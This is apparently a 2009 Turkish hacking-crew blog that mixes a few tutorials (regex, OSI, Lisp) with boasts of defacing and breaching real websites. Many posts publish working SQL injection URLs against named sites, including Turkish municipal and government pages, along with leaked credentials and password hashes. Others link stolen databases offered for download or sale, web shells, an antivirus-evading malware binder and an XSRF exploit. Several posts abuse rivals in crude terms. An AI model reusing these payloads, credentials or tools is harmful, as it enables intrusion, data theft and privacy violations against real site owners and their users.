onurturkesh4n

h4cky0u h4ck3d.

2009-09-20T18:33:00.001-07:00

fucked site `

http://zone-h.org/mirror/id/9651780

0x3a (;

h4cky0u h4ck3d.

2009-09-20T18:33:00.000-07:00

fucked site `

http://zone-h.org/mirror/id/9651780

0x3a (;

C# da Düzenli İfadelerde Çalışmak

2009-09-20T16:19:00.000-07:00

Düzenli İfadelerde Çalışma

Düzenli ifadeler belli bir kalıbın bir yazı içerisinde bulunup elde edilmesi amacıyla kullanılmaktadır. Kalıp oluşturmanın belli kuralları vardır. Düzenli ifade oluşturma kalıpları birçok dilde ve araçta çok benzer biçimdedir.Kalıp oluşturmanın kuralları şunlardır:

· Normal karakterler kalıp belirtir,bu durumda bu karakterlere tam uyan yazı öbeği alınır.Örneğin kalıp “ali” olabilir, bu durumda yazıdan ali çekilir.

· Nokta karakteri \\\\n nin dışındaki herhangi bir karakter anlamına gelmektedir.(Nokta karakterinin kendisi “ \\\\ . “ şeklinde belirtilmelidir.) Örneğin kalıp “x . y” biçimindeyse xay,xby… gibi her türlü karakter nokta için kabul edilir.

· “*” bir önceki karakterden 0 tane yada n tane anlamına gelmektedir. Örneğin “ab*c” burada ac,abbc,abbbbc gibi karakter grupları bulunur. * çoklayıcısı . ile birlikte kullanılırsa daha geniş bir kalıp oluşturulabilir . Örneğin “a.*b” burada yıldız noktayı çoklamaktadır., nokta da \\\\n dışında herhangi bir karakter anlamına gelir.O halde bu kalıp a dan sonra ilk b ye kadar tüm karakterlerin kümesini oluşturur.

· Artı bir önceki karakterden en az bir yada n tane anlamına gelmektedir.Örneğin “ab+c” burada + yerine * olsaydı ac karakter kümesi uygun olurdu.Fakat şimdi en az bir tane b olmak zorundadır.

· Soru işareti önceki karakterden sıfır tane yada bir tane anlamına gelir.Örneğin “ab?c” burada “b?” sıfır tane b yada bir tane b anlamına gelir.Dolayısıyla “ac” yada “abc” karakterleri kabul edilir.

· {n} bir önceki karakterden tam n tane anlamına gelir.Örneğin “a.{3}c” bu kalıp önce bir “a” karakteri sonra tam olarak “\\\\n” karakteri dışındaki herhangi 3 karakter ve sonra “c” karakteri içeren grubu elde eder.

· {n ,} bir önceki karakterden en az n tane olacağı anlamına gelir .Örneğin “a.{10,}b” burada “a” dan sonra en az 10 tane herhangi bir karakter ve sonra “b” karakteri uyum sağlamaktadır.

· {n,k} bir önceki karakterden n ile k arasında olanlar uyum sağlar.(maksimumu getiriyor)

· Şapka karakteri yazının başı olması gerektiğini anlatır.Örneğin “^a.*” “a” ile başlayan tüm satır anlamına gelir.

· $ satır sonu anlamına gelir.Örneğin “ali$” sonu ali ile biten tüm satır anlamına gelir.

· \\\\d herhangi tek bir sayısal karakter anlamına gelir. \\\\D herhangi bir sayısal olmayan karakter anlamına gelir.

· \\\\s herhangi bir boşluk karakter anlamına gelir.\\\\S herhangi bir boşluk olmayan karakter anlamına gelir.

· \\\\w herhangi bir alfabetik karakter anlamına gelir.\\\\W herhangi bir alfabetik olmayan karakter anlamına gelir.

· | veya anlamına gelir.Örneğin “ali | veli” “ali” veya “veli” karakterlerinin hangisiyle karşılaşırsa onu alır.

· Parantezler gruplamada kullanılır.Örneğin “ (ab)* ” burada ababab uyum sağlar. Örneğin “(\\\\d | \\\\w)+” burada arama yazısı “ -345ab4? ” şeklindeyse “345ab3” çekilir.

· Köşeli parantezler içindeki herbir karakter bunlardan herhangi biri anlamına gelir.Örneğin “ x[abc]y ” burada xay , xby , xcy, uyum sağlar.Köşeli parantezden sonra şapka karakteri gelmişse o grup içinde olmayan herhangi bir karakter anlamına gelir.Örneğin “ x[^abc]y ” burada x ten sonra bir karakter olmalı ama bu karakter a,b,c den biri olmamalı sonra da y olmalı anlamına gelir.

· Köşeli parantez içinde tire aralık belirlemek için kullanılır.Örneğin “[a-g]” bu ifade a ile g arasında herhangi bir karakter anlamına gelir.Bu ifade [abcd…g] ifadesi ile eşdeğerdir.

Umarım faydalı olmuştur,

Yazi Bilal Adak(RAMIEN) Tarafindan yazilmistir.

Bana Karsi Olan Arkadaslar'a Gelsin.

2009-09-20T14:41:00.000-07:00

Selam,

Simdi Yaziya baslarken belirteyim, Cyber-Warrior TiM ve Kurucusu Oldugum , 0x3a CREW Disinda Hicbir Sitede Ne yoneticiyim , Nede TimLerde vs. gorevim var.

http://turkesh4n.blogspot.com/2009/09/forummcsnet-db-fucked-aq.html

bu yazidaki DB Yi , spyhackerz.com'dan aldim MecTruy çok yakin dostumdur spyhackerzda onun sitesi.

forummcs.netin admini gotos burak bana yanlis yapti danqer redstrom ve mectruy 3 lüsü db sini cekti , atilan indexde benimde adim vardi zaten.

dbyi buraya koydum.

bana karsi kuyruk acisi olan arkadasin biriside , DB nin basinda danqerLine spyhackerz.com yazdigi icin ve bende db yi buraya koydugum icin beni danqerLine oLarak yansitmiş miLLete.

o arkada$a sesleniyorum burdan ,

benim acigimi arama , kendine yazik edersin hic edersin.ben sana ne yaptim bre hasta ruhlu ? sana karsi bi kufurum vs. mi oldu bulusmaya geldin adam gibi karsıladık , PATRON'a yanlis yapmissin dovmedik laf etmedik aramiza aldik ama sen salak cıktın nankor cıktın , artık hısmım değil hasmımsın ;)

Zone-h Code Enjekte*

2009-09-18T20:13:00.000-07:00

http://www.kral-hack.org/deface_mirror/?id=126
http://www.sanalturkler.org/defacements/?id=8045

c0de enjected :S

0x3a crew.

forummcs.net db fucked aq

2009-09-18T19:48:00.000-07:00

forummcs.net db fucked vBulletin dbsidir

db down : http://uploaded.to/file/jat96l

0x3a crew.

No ByPASS CGITelnet Security

2009-09-18T18:35:00.001-07:00

Selam Arkadaslar.
Simdi Aramizda Coder Arkadaslarda Vardir,Dizayn Ettigim Bir Sitenin Sahibi Bugun Resim Upload Bölümünden CGITelnet Yüklendiğini Belirtti Ve Oraya Filtre Istedi Bende Filtreyi Yaptim Aksam Sitede Hacked Yazisini Gordum , Ve IIsi Bunun Uzerine .HTAcces ’de Bitirdim.

Kesinlikle Aşılamıyor Bu Koruma Oncelikle Söyleyim,Simdiden Kolay Gelsin Ayrica Türkiyede Sadece Ben Paylasiyorum Bunu.. :)

# Trial
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http://(www\\.)?SITENIZ.com(/)?.*$
RewriteCond %{REQUEST_FILENAME} \\.(cgi|exe|pl)$ [NC]
RewriteRule ^.*$ http://siteniz.com/telnetyasak.html [R,L]

Bu Kodlari htaccesinize ekleyin , pl cgi exe dosyasi servera yüklendigi zaman hata vermez dosyalari yükler fakat dosyalara erişimi engeller ve siteniz.com/telnetyasak.html’e yönlendirir.

http://turkesh4n.blogspot.com ~ Private Security (0x3a CREW)

k0mand0 Lameri F U C K E D ` `

2009-09-18T15:25:00.000-07:00

SA.

Bugun tam bi servera qirdim takiliyom temp msnden yazdi k0mand0ya cakaLim artisLe$ti feLan edi, sitesi ne dedim k0mand0.us dedi , iLk defa duyuyom bu göbeLide .

(ılgili ss : http://i36.tinypic.com/f560lv.jpg )

neyse ,sonuc olarak DB Yi cektim kaynak k0dLari eLimde anasini siktiqimin oqLu geLip ozur diLersen 3 gün icersinde sitene cakmicam .

Yontem Videodadır..

Video Download : http://uploaded.to/file/hjkbxi

DATABASE Download :

http://k0mand0.us/sql.mdb

mekanforum.org db fucked

2009-09-18T06:21:00.000-07:00

http://uploaded.to/file/xzefny

db sizindir a.qoyun :D

onurT`; ByPass SHELL v.0.1

2009-09-17T20:05:00.001-07:00

Selam Arkadaslar.
Sizlere Yeni Kodladigim B2P Bypass Shell’i Sunmak Istiyorum.
Full Moded 2 Buffer Overfl0w Etkisinde Yeni Kodladim.

Performans’dan Yani sira Görselligede Önem Verdim.

RFI'de Kullananlar Icin TXT Lınk : http://0x3acr3wz.yourfreehosting.net/b2p.txt

PHP Upload Edecegim Diyenler Icin RAR Link : http://0x3acr3wz.yourfreehosting.net/b2p.rar

Goruntusu Bu sekilde ,

Kullanimi Klasik Ve Basittir Sınırlari Zorlayarak Ona Verdiğiniz Bütün Komutlari Isletir ve Donguleri Ekrana Sunar.

Okdugunuz Icin Tesekkürler..

DatapayLasim 2. Kez fucked ` `

2009-09-17T15:16:00.000-07:00

Site : www.datapaylasim.com/blog

Mirr0r : http://www.kral-hack.org/deface_mirror/?id=125

http://turkey-h.org/defacements/?id=103683

DATAPAYLASİM WP DB'Sİ SATILIKTIR (;

DatapayLasim ~ mah0ni öküzü fucked

2009-09-17T12:27:00.001-07:00

SA datapayLasim adLi zoneden cakma mirr0r sitesi Fucked!

Buqun bunun servera daldim server saglamdi zor gectim ama configLer bende akiLLi oL mah0 sikerim seni (:

Simdi Siteye girdiqimde dbye connect hatasi veriyo front askida kaldi en kisa zamanda cakicam tekrar sana mah0 ;)

SSLer,

Uzmix.Net D0wnnnnn

2009-09-17T04:56:00.000-07:00

kadir doqan adLi yavsak d0wnzz :D

sabah dik0mLa girdik g0mduk geLdik :D

Site : uzmix.com index duruo

syn4x tırrığı hk :D

2009-09-09T13:42:00.000-07:00

sa genc0lar

bugunki yazimda sizlere ,

"syn noluy0 amın götün oynuyo " sloganının baş rol oyuncusu bu göbel syn4xi taniticam.

nette geziy0m fatalr00tun siteye bi baktim ne görim amq bebeyi dövmüsler bide videoya cekmsler :D

Aq bu dallama bigün grayhatzda bigün attackerzda bigün blackhatzde bigün garezworm diye byerde , bu syn4x'a gelsin.

bu video sana gelsin syn4x, http://rapidshare.com/files/277448827/MOV0005A.rar.html

şuraya bi kapak biraktim, belki almak istersin :D

the_0nuR

OSI SYSEMS

2009-09-09T05:31:00.001-07:00

Osi Nedir?

Osi, farkli üreticiler tarafından geliştirilen ağ bileşenlerinin bir arada uyumlu bir şekilde çalışabilmelerini sağlayan kurallar bütünüdür.

Bilginin Hazırlanip ağ ortamından geçerek başka bir bilgisayarda nasıl görüntülendiğini tanımlar.

OSI iletişimi birbirleriyle yedi farklı katmanda inceler.her katmanın ayrı birer fonksiyonu vardır.

Katmanlı Modellerin Avantajları Nelerdir?
~Network Iletişimini Daha Küçük Daha Basit Parçalara Böler.
~Farklı Donanım ve Yazılımların Haberleşmelerini Sağlar.
~Herhangi bir katmandaki değişikliğin diğer katmaları etkilemesini engeller dolayısıyla daha cabuk gelişebilmesini sağlar.
~Farklı Platformların iletişimini sağlar ( Windows-Unix Gibi.)
~Her Katmanın Diğer Katmanları Etkilemeden Geliştirebilir.

Bilginin Bilgisayardan diğerine ulastırılması sorunu yedi daha küçük daha kolay çözülebilir soruna bölünmüştür.Her sorun ile ilgili OSI katmanı tarafından çözülmüştür.Osi’nin Mevzu Bahis 7 Katmanı :

1-Fiziksel
2-Datalink
3-Network
4-Transport
5-Session
6-Presentation
7-Application

Okudugunuz Icin Tessekür Ederim.
Döküman Tarafımdan(OnurT’.) , Network TiM Adına Yazılmıştır.

2009-09-08T04:11:00.000-07:00

Selam Arkadaslar Matematikte Sequence (ArdışıkSayılar) Gibi Birşey Vardır Elbet Bilirsiniz.

Hani 4 Ardışık Tek Sayının Toplamı 15 tir felan gibi.

O Işlemin Bilgisayar Üzerinde Ard Arda Çalıştıgını Gösterme Işlemine Fibonancci Sequence Denir.

FS Islemini cLisp’de Ekrana Döktürmek Için Kullanacagınız Snippet Aşşağıdadır.

Bu Fonksiyonu Bizim Türkler Anlamakta Biraz Sıkıncı Çekiyor.:)

Şimdi u(1) = 0, u(2) = 1 olmak üzere; n > 2, u(n) = u(n-1) + u(n-2) dersek.

u(n) ve u(n+1) aralarında asaldır.
u(n) / u(n+1) = sqrt(5) - 1 / 2 (bu da altın oran, belki altın bölüm, bazen altın kesme)
bunlar bilinenler; bir de:
u(n+1)*u(n-1) = u(n)^2 + (-1)^n Böyle Bir Fonksiyonu Var Bu Işin.

Yani Lisp Tamamen Matematik Üzerine Dayalıdır.

Fibonancci Sequence Fonksiyonunu Kullanmak Istiyorsanız Ornek Source Buradadır.

#
(defun mk-prompt (string)
#
(format *query-io* string)
#
(read-line *query-io*)
#
)
#
(defvar count 0)
#
(defvar upper (parse-integer (mk-prompt "Kaç Ardisik Sayi Var: ")))
#
(defvar a 0)
#
(defvar b 1)
#
(defvar c 0)
#
(loop
#
(when (>= count upper) (return))
#
(setf c a)
#
(setf a (+ a b))
#
(setf b c)
#
(format t "~d " a)
#
(setf count (+ count 1))
#
)

Güzel Bir Yazı Oldu,
Okuduğunuz Için Çok Teşekkür Ederim.

Insert Into [VIDEO][MySQL İnj]

2009-09-05T07:31:00.000-07:00

Selam Arkadaslar.

Dün MySQL Root videosunu yayinlamistim onun devami olarakda bunu cektim,bunun gibi istekler oldugu sürece günlük 1 video yayinlicam insAllah.
Video Download : http://rapidshare.de/files/48284497/insert.rar.html

OT'oGaleri script v.0.1

2009-09-04T04:25:00.000-07:00

Aslinda Bu Scripti OTODevir.COM Zamaninda Yazmistim , Site Kapaninca Script’de Elimizde Kaldi 3-4 Yenilik Ekledim ( Ajax Takvim-Form Kontrolleri , Ajax Live’lar Vs.) Onceki Tema Mavi Renk Ağırlıklıydı,Temayı Gri Ton’a Döktüm ve Ağırlık Oturttum, Admin Paneline 3 Yeni Özellik Ekledim.
Kur.php’ile Çalıştırılıyordu ve Configler Güvensiz Oluyordu , Güvenlendi..

Script Dosyalarini FTP’ye Atiniz,
dos\db.php’yi açıp yönetim bilgilerini ve db ayalarini yapiniz.

Ayarlari yaptiktan sonra,SQL\otogaleri.sql dosyasini ayarlarda girdiğiniz dbye phpmyadminden import edin ve siteniz calisacaktir.
Default Admin Bilgileri : Root-Root;
Default User : onur@turkeshan.com.tr – 1234′dür.

Download : http://mnml.phpnet.us/proje.zip

Ekran Görüntüsü : http://i31.tinypic.com/2ujmstd.jpg

MySQL inj r00t Video ~0x3a Crew

2009-09-03T20:26:00.001-07:00

SA Arkada$lar.
Nacizane Videoda , SQL Inj'ile Load File'dan Config okumayi,Oradan MySQLFront Ile Bağlanip User Sifrelerini Değistirmeyi Gösterdim.

Sabaha Karsı Oldugu Icin,Mâruz Görün Biraz Hizli Oldu. :)

MySQL Front Download : http://www.mysqlfront.de/download.html

Video Download : http://rapidshare.de/files/48277328/mysql_root.rar.html

ilove you mysql injecti0n

2009-09-02T19:51:00.001-07:00

User:dca1
Pass :dertg1
Site : http://www.downtowncrossing.org/shop/

takiLin xD

atahan.com.tr sql inj'ed#

2009-09-02T18:50:00.000-07:00

inj paqe : http://www.atahan.com.tr/haber.php?hid=2

tablolar-kolonlar : maillis ( mid-email )
hr[iş başvurusu yapanlarin belgeleri var.]
(name,okul,askerlik,cinsiyet,tecrube,tel,sehir)

i love u mysql inj

Oyun Inceleme Sirketi GameSPY SQL?

2009-09-02T05:06:00.000-07:00

S.A.

http://archive.gamespy.com/stats/mods.asp?id=15%20OR%201%20in%20%28select%20@@version%29

http://archive.gamespy.com/stats/mods.asp?id=15%20having%201=1--

n0rmalde ben mssql den hayatta cakmam ama tesbitte felan sorun yoktur burdan ileriye gidemezdim allahtan kodladigim sql tool vardi :d

yanliz db current user : guest oldugu icin ilerleyemedik sadece db isimleri var.

db isimleri :

master
tempdb
model
msdb
GameMaster
GCDKeyAuth
InGameAdvertising
Matrix
Services
Avail

, Kolay Gelsin.

MysqLoverZ/0x3a Crew.

MySql bugun ağlayacak amq xD

2009-09-02T04:49:00.000-07:00

sa

Injection Page : http://www.incubator.tsu.ru/contest/?org=3

Database Name : incubator_tsu_ru

Table Name : users

column names : name,pass,email,uid,access,salt

Login Page : http://www.incubator.tsu.ru/contest/admin

Salt + Name : starshoy 57d46d9f98e5b6ef7435915e1745f87c

sql le neler neler yapilir part 1 :D

2009-09-02T04:35:00.000-07:00

sa gencolar .

simdi sql tool ile

http://www.fondazionelibro.it buranin uzerinde birazcik calistim , baktim veri cekiliyor cektim veriyi daldim panele.

once panelden
http://turk-h.org/defacement/view/343661/fondazionelibro.it

söyle bi menülere caktim sorgulariyla oynadim. :D

sonrada bi dosya upload yaptim söyle caktim,

http://sanalturkler.org/defacements/?id=6711

simdiden kolay gelsin. genc0lar okudugunuz icimn mucx hepinize.

Linux 2.4-x ~2.6.-x Exploit

2009-08-31T14:53:00.000-07:00

* CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* CentOS 5.3 (2.6.18-128.4.1.el5)
* CentOS 5.3 (2.6.18-128.2.1.el5)
* CentOS 5.3 (2.6.18-128.1.16.el5)
* CentOS 5.3 (2.6.18-128.1.14.el5)
* CentOS 5.3 (2.6.18-128.1.10.el5)
* CentOS 5.3 (2.6.18-128.1.6.el5)
* CentOS 5.3 (2.6.18-128.1.1.el5)
* CentOS 5.3 (2.6.18-128.el5)
* CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* CentOS 4.8 (2.6.9-89.0.7.EL)
* CentOS 4.8 (2.6.9-89.0.3.EL)
* CentOS 4.8 (2.6.9-89.EL)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
* Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
* Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
* Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
* SUSE Linux Enterprise Server 11 (2.6.27.19-5)
* SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
* Ubuntu 8.10 (2.6.27-14) is not vulnerable
* Ubuntu 8.10 (2.6.27-11)
* Ubuntu 8.10 (2.6.27-9)
* Ubuntu 8.10 (2.6.27-7)

http://www.milw0rm.com/exploits/9545

Target : .CZ SQL

2009-08-31T05:33:00.000-07:00

http://www.kola-lyze.cz/eshop/produkt.php?id=404+AND+1=2+UNION+SELECT+1,2,3--
http://www.veteranforum.cz/index.php?id=127+AND+1=2+UNION+SELECT+1--
http://www.restaurace-retro.cz/eshop/produkt.php?id=3+AND+1=2+UNION+SELECT+1,2,3--
http://www.companyx.cz/produkt.php?id=12+AND+1=2+UNION+SELECT+1,2,3--
http://www.adriastav.cz/produkt.php?id=1+AND+1=2+UNION+SELECT+1,2,3--
http://www.barevnakeramika.cz/produkt.php?id=888+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,2,9,10,11,12,13--
http://pocitace.webczech.cz/produkt.php?id=1+AND+1=2+UNION+SELECT+1,2,3--

(a)SosyaLiz!

2009-08-23T13:06:00.000-07:00

Asosyal sözü…

Verdikleri sözlere pek itaat etmez asosyal insan… Yanlış anlaşılmasın yalancı değildirler, sadece asosyaller.
“Gelirim” denir o an için, düşüncenin özünde de gitmek vardır ama gece olur, yatakta kendisiyle başbaşa kalan
asosyal kararını tekrar tekrar gözden geçirir. Genelde verilen karar “Ne işim var benim orda yaa, açarım TV’mi,
otururum internetimin başına ohh mis gibi” şeklinde olur. Sonuç olarsak asosyal hep evdedir…
Asosyal sinemada…

Utana sıkıla bilet gişesine gider. “Falan filme 1 bilet istiyorum” der. Gişedeki kız koltuk planını ekranda göstererek sorar:
“Nerde izlemek istersiniz…?” Her zamanki gibi en ön sıra bomboştur… Millet manyak mı perdenin tam önünde izlesin…
Asosyal parmağıyla en ön sıranın köşesindeki koltuğu işaret eder. Maksat dikkat çekmemek…
Asosyal okulda…

Bir asosyal yüz alacağını bilse bile tahtaya kalkıp soru çözmez ya da sözlüye kalkıp sorulan sorulara cevap vermez…
Konuyu çok iyi bilse bile içindeki tedirginlik, diğerlerinin onun hakkında düşünecekleri oraya kalkmasına engel olur…
Asosyal ve minibüs yolculuğu…

Minibüste genellikle en arka yada arkaya yakın bir bölüm seçerler… Nedeni basit: Para alışverişi.
Zaten bulunduğu ortamdaki diğer insanlarla dip dibe durmanın sıkıntısını yaşayan asosyal birde
minibüse yeni binenler ile şöför arasındaki para trafiğine alet olursa, o yol bitmez, çekilmez…
Bununla da bitmez asosyalin minibüs yolculuğunda rastladığı zorluklar: ineceği yere yaklaşmasına
rağmen o üç kelimenin asosyalden önce söylenmemesi. Genelde işini bilenler şayet ineceği yere yakın
bir yerlerde minibüs durarsa, orada iner ve eve kadar yürürler..
Asosyallerin kıyafetleri…

Asosyaller hep aynı şeyleri, yıkamaya üşendiklerinden dolayı giymezler. Bunun asıl nedeni giyisi
reyonundaki görevlinin “Size de çok yakıştı, sanki bunu sizin için üretmişler, ben olsam kesin alırım”
gibi sözlerine karşı “Beğenmedim, almayacağım” diyememeleri ve bu sebepten dolayı alışverişe çok
zorunlu kaldıklarında çıkmalarıdır…
Asosyal ve ara sokaklar..

Nerede bir kestirme, nerede unutulmuş bir yol varsa hepsini bilir asosyal. Çünkü o daima tek olmayı,
gözükmemeyi sever. Gideceği yer neresi olursa olsun, onun daima girecek bir ara sokağı vardır.
Bu yüzdendir ki telefonu yada parası gasp edilenler, vücüdunun bir bölümüne bıçak sokulanlar çoğunlukla asosyallerdir…
Asosyal ve gece…

Geceyi sever onlar… Yıldızları izlemeyi yada mehtaba karşı sabahlamayı sevdiklerinden değil.
Karanlık olduğu için, onları saklayan bir örtü olduğu için severler geceyi. Hem geceler ıssız da olur.
Bir taşla iki kuş misali; dilediklerince gezerler geceleri. Ne onları izleyen gözler vardır ne de o dehşet
verici kalabalık…
Asosyal ve çalan telefon…

Evde yalnız kalmak kadar güzeli varmıdır asosyal için? Ama bu güzelliği bir anda bozar çalan bir telefon.
Telefonu açacak kimse yoktur evde ondan başka… Hele de arayan kişi özel numara ise korkusu kat kat artar.
“Alo” demek kadar korkutucu birşey daha yoktur dünyada…
Asosyal tatilde…

Deniz, kum, sahil gibi tanımlara kesinlikle uzaktan bakmakla yetinirler… Mayo yada benzeri şeyler giyerek
denize girmek, kumsalda güneşlenmek hele hele de bunu o kalabalıkta yapmak… İleride bir ada satın alındığında
belki gerçekleşebilecek olan bir rüyadır…

.org/.com tR SQL'z?

2009-08-13T02:14:00.001-07:00

http://www.manisa.bel.tr/haber_detay.asp?id=256'a
http://istanbulcevor.gov.tr/haber_detay.asp?id=70'a
http://www.sab.org.tr/haber_detay.asp?id=170'a
http://www.kahramanmaras-gsim.gov.tr/detay.asp?id=364'a
http://www.sader.org.tr/uyeler_detay.asp?id=49'a

my sql inj

2009-08-12T09:59:00.000-07:00

http://www.quadrat.am/news_ds.php?id=1-2+union+select+0,group_concat(table_name),2,3,4,5,6+from+information_schema.tables

tablolar

user ve password kolon adı , user tablo adı cekin amq :D

hacking tech'Z

2009-08-11T16:13:00.000-07:00

CGITelnet, r57 1.4 , php.ini ve tryag shellerin saglamlarını up ettim.

cgitelnet: dosyaları okuyablrsnz detaylı anlatım blackhatzde var.
r57 : temel en guclu shelldir.
php.ini : serverdakiyle değiştirin ve bütün yetkileri alın.

tryag : en güçlü bypass sheldir.

link : http://rapidshare.de/files/48093855/shell.rar.html

acev.org sql

2009-07-28T14:46:00.000-07:00

http://www.acev.org/bireysel_destek.php?id=-2+union+select+1--

MySQL 'ın Dönüşü*

2009-07-28T05:40:00.000-07:00

http://fasn.rutgers.edu/announcements.php?id=-14+union+Select+1,2,group_concat(column_name),4,5+from+information_schema.columns+where+table_name=0x75736572--

File Priv= Evet

Tablo Adı : Users

--------------

http://library.ccuniversity.edu/index.php?ID=14+and+1=0+Union+Select+1,group_concat(table_name),3+from+information_schema.tables--

File Priv : Any

-----------------

Fud Chain Binder ~Tanınmaz~

2009-07-04T17:08:00.000-07:00

By The_miLLer
Delphi 7 ile oluşturulmuş bir binder programı.
(.exe / .JPG / .txt / .mp3 ....etc) uzantılarındaki dosya ile server.exe nizi birleştirmeye yarar.
İcon desteği mevcuttur.Xp ve Vista uyumludur.

a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
ClamAV - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
Sophos - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!

Hiç bir antivirüsce tanınmamaktadır.

DownLoad : http://rapidshare.de/files/42117989/ChainBinder.rar.html

Alternatif 1 : http://www.dosya.tc/ChainBinder.rar.html

Alternatif 2 : http://www.2shared.com/file/4668253/a4f054f7/ChainBinder.html

Rar Şifresi : THE_MILLER

Binder Tanınmazlığı ve tam olarak ne işe yaradığını öğrenmek için OKUYUNUZ .

Misyon dahilinde kullanmanız dileklerimle.

elazig.bel.tr sql

2009-07-02T08:33:00.001-07:00

http://www.elazig.bel.tr/haber.php?id=1245645682+union+select+0,1,2,3,group_concat(table_name),5,6,7,8+from+information_schema.tables--

Ebeveynler Dikkat

2009-07-02T04:12:00.000-07:00

EBEVEYNLER DİKKAT!

Çocuğunuz zamanının çoğunu bilgisayar başında mı geçiriyor ? Sosyal hayatının bozulduğundan mı şüpheleniyorsunuz ? Agresifleşti mi ? Sizden uzaklaşıyor mu ?

Ağaç yaşken eğilir diye boşuna dememişler. Çocuğumuzun kendi başına buyruk yetişmesinin önüne geçmediğimizde ve hayatta karşılaşacakları tehlikeleri göstermediğimiz zaman gündemi sürekli yoran kaçırılma, taciz ve cinayet haberleri ile karşı karşıya kalmamak kaçınılmaz oluyor.

Hızla gelişen Teknoloji ile birlikte, güvenlik suç olayları İnternet üzerinden de artış göstermiştir. Bu teknolojilerin getirdiği güvensizlik vb. olaylar, içinde bulundukları tehlikeden habersiz gençlerimizi olumsuz etkiliyor.

Yapılan araştırmalara göre ebeveynlerin bir çoğu çocuklarının sanal ortamda nasıl koruyacaklarını bilmiyor ve araştırmaya katılan ailelerin %65 i çocuklarının internette güvende olduğunu düşünmekte. Anlaşılacağı gibi ebeveynler tehlikenin farkında değil. Peki Ebeveynler gençlerimizi korumak için neler yapmalı ?

EBEVEYNLERE TAVSİYE

- Çocuklarınızı takip edebilecek, internet üzerinden girdikleri sitelerin iyi yada kötü olduğunu anlayabilecek derece bilgisayar ve internet bilgisine sahip olmanız gerekmektedir.
- Çocuklarınızla iyi bir iletişim kurmalısınız. Korkularını, sevdiklerini ve sevmediklerini size söyleyebilecek güveni vermelisiniz.
- Çocukların kullandığı bilgisayarın evin ortak kullanım alanında olmasına dikkat ediniz.
- Bilgisayarlarınızda internet içeriği konusunda korumaya yönelik filtreleme programları bulunmalıdır.
- Çocuklarınızın internette kalma sürelerini yaşına uygun bir şekilde sınırlamalısınız.
- Her konuda olduğu gibi bu konuda da iyi bir örnek olmalısınız. Bilinçli bir internet ve bilgisayar kullanıcısı olmalısınız.
- İnternette girdiği siteleri, konuştuğu arkadaşları birlikte tanımaya çalışınız.
- Çocuğunuzu internetin iyi ve kötü yanlarını, nasıl bir kullanıcı olması gerektiğini anlatmalısınız.
- Sizden habersiz internet üzerinden alış-veriş yapmaması gerektiğini öğretmelisiniz.
- Ergenlik dönemlerinde çocuğunuzun bu konuda en iyi eğitimci sizin olmanız gerektiğini aklınızdan çıkarmamalısınız.
- Sohbet odalarında neler yapıp neler yapmaması gerektiğini çocuğunuza anlatmalısınız.
- Çocuklarınızın internet cafe alışkanlığını azaltmaya çalışmalı, imkan dahilinde evinize bilgisayar alarak kontrol edemeyeceğiniz yerlerde internete girmesini engellemelisiniz.
- Çocuklarınızı takip etmenin onun özel hayatına saygısızlık değil iyiliği için olduğunu bilmeli ve yine de bunu çocuğunuza hissettirmemelisiniz.
Bilgisayarın ve internetin kötü bir şey olmadığını, sadece takip ve bilinçsizlikten kaynaklanan güvenlik eksikliğiyle zararlı bir hal alabileceğini unutmamalıyız. Bilgisayardan kaçış yoktur; çocuklarımız ya arkadaşlarında yada internet cafeler de izniniz olmadan erişim sağlayabilecektir. Bu nedenle kaçmaktansa bilinçli ebeveynler olup çocuklarımızı bilgisayar ve nimetlerinden mahrum etmeyelim.

Gökhan ŞANLI
Bilişim Güvenliği ve Bilişim Suçlarına Karşı Mücadele Derneği
Yönetim Kurulu Başkanı

XPosta.COM > XSRF Vuln

2009-07-01T07:34:00.000-07:00

s.A

xposta.com mail servisindeki gizli soru şifre değiştirme kodunu paylasıcam bugun sizlerle.

kod download : http://www.dosya.tc/XPOSTA.COMxSRF.txt.html

F-Secure SSH Sunucu

2009-07-01T01:11:00.000-07:00

F-Secure SSH Kullanıcı ve Sunucu versiyonları şifrelerin ve gizli verilerin olası ‘kulak misafirleri’ tarafından duyulmasına izin vermeden, uzaktaki sistem yöneticilerinin ve kullanıcıların şirket network kaynaklarına erişimini olanaklı kılmakta. Bunun yanı sıra, UNIX, Windows ve Macintosh ortamlarındaki TCP/IP tabanlı terminal bağlantılarını da korumakta.

F-Secure SSH Sunucu

F-Secure SSH Sunucusu; kullanıcılara, güvenli giriş bağlantıları, dosya transferi, X11 ve TCP/IP bağlantıları sağlamaktadır. F-Secure SSH Sunucusunun araçları, var olan ve güvenli olmayan rsh, rlogin, rcp, rdist, telnet ve ftp protokollerinin yerini alır.

